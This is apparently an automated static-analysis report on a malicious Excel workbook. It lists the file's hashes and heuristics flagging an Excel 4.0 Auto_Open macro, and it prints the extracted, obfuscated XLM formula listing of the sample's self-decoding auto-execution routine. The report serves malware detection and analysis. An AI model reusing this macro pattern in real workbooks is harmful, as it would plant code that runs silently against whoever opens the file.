Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27c2e7803fc711ef…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:45:38 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 6ea035688b2d6a16f63f78242c262e7a SHA-1: 7ea329f62a2cef97c839395055e0806d66d402c0 SHA-256: 27c2e7803fc711ef4d09b5107c7ca3eaa9e801b4a53b74707e9fb9fcf09d53e2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6691 bytes
SHA-256: 9387da595cc1f6c1fcc86f1a1d6b90d78c38279c757a9c910e0786ff2779f7d3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ajNwyEpwp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C178 
' 0018     25 LABEL : Cell Value, String Constant - AWaqMGwPLs len=0 
' 0018     26 LABEL : Cell Value, String Constant - dIszLiykjjX len=0 
' 0018     27 LABEL : Cell Value, String Constant - DnBJiVxvXPDl len=0 
' 0018     25 LABEL : Cell Value, String Constant - DvnFaCraIA len=0 
' 0018     21 LABEL : Cell Value, String Constant - ecHZqD len=0 
' 0018     21 LABEL : Cell Value, String Constant - GQqRqa len=0 
' 0018     27 LABEL : Cell Value, String Constant - hqdbLrrfLCQx len=0 
' 0018     20 LABEL : Cell Value, String Constant - JLqpj len=0 
' 0018     20 LABEL : Cell Value, String Constant - Llkdz len=0 
' 0018     21 LABEL : Cell Value, String Constant - NeNabj len=0 
' 0018     24 LABEL : Cell Value, String Constant - sJfnjzQry len=0 
' 0018     21 LABEL : Cell Value, String Constant - skykCV len=0 
' 0018     25 LABEL : Cell Value, String Constant - ujXSKzhuJA len=0 
' 0018     27 LABEL : Cell Value, String Constant - UuBwUDsXuzIF len=0 
' 0018     22 LABEL : Cell Value, String Constant - WBeaWQh len=0 
' 0018     22 LABEL : Cell Value, String Constant - XfRzbEP len=0 
' 0018     27 LABEL : Cell Value, String Constant - xqiNyxNJsKTv len=0 
' 0018     22 LABEL : Cell Value, String Constant - xxSESBb len=0 
' 0018     25 LABEL : Cell Value, String Constant - zuZMfsADAx len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZySuZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ajNwyEpwp,C88,"SET.NAME("ecHZqD",VALUE("0"))",""
'  ajNwyEpwp,C92,"SET.NAME("NeNabj",ecHZqD)",""
'  ajNwyEpwp,C94,"SET.NAME("dIszLiykjjX",ecHZqD)",""
'  ajNwyEpwp,C97,"SET.NAME("JLqpj",COUNTA(sJfnjzQry))",""
'  ajNwyEpwp,C100,"SET.NAME("zuZMfsADAx",COUNTA(DvnFaCraIA))",""
'  ajNwyEpwp,C103,[],""
'  ajNwyEpwp,C105,"SET.NAME("xqiNyxNJsKTv","")",""
'  ajNwyEpwp,C107,"NeNabj",""
'  ajNwyEpwp,C112,"SET.NAME("hqdbLrrfLCQx",HLOOKUP("*",sJfnjzQry,NeNabj,FALSE))",""
'  ajNwyEpwp,C117,"UuBwUDsXuzIF",""
'  ajNwyEpwp,C120,"SET.NAME("AWaqMGwPLs",ecHZqD)",""
'  ajNwyEpwp,C124,[],""
'  ajNwyEpwp,C127,"AWaqMGwPLs",""
'  ajNwyEpwp,C132,"Llkdz",""
'  ajNwyEpwp,C136,"ZySuZ",""
'  ajNwyEpwp,C139,"ujXSKzhuJA",""
'  ajNwyEpwp,C143,"SET.NAME("WBeaWQh",VALUE(HLOOKUP("*",DvnFaCraIA,ujXSKzhuJA,FALSE)))",""
'  ajNwyEpwp,C145,"xxSESBb",""
'  ajNwyEpwp,C150,"xqiNyxNJsKTv",""
'  ajNwyEpwp,C153,"dIszLiykjjX",""
'  ajNwyEpwp,C155,NEXT(),""
'  ajNwyEpwp,C160,"GQqRqa",""
'  ajNwyEpwp,C164,"SET.NAME("f",INT(T(FORMULA(T(xqiNyxNJsKTv)&"",""&T(GQqRqa)))))",""
'  ajNwyEpwp,C166,"skykCV",""
'  ajNwyEpwp,C170,NEXT(),""
'  ajNwyEpwp,C174,RETURN(),""
'  ajNwyEpwp,C198,"SET.NAME("XfRzbEP",C88)",""
'  ajNwyEpwp,C202,"sJfnjzQry",""
'  ajNwyEpwp,C206,"SET.NAME("DvnFaCraIA",R79C15)",""
'  ajNwyEpwp,C211,"SET.NAME("skykCV",216)",""
'  ajNwyEpwp,C213,"SET.NAME("DnBJiVxvXPDl",3)",""
'  ajNwyEpwp,C215,XfRzbEP(),""
'  ajNwyEpwp,C216,HALT(),""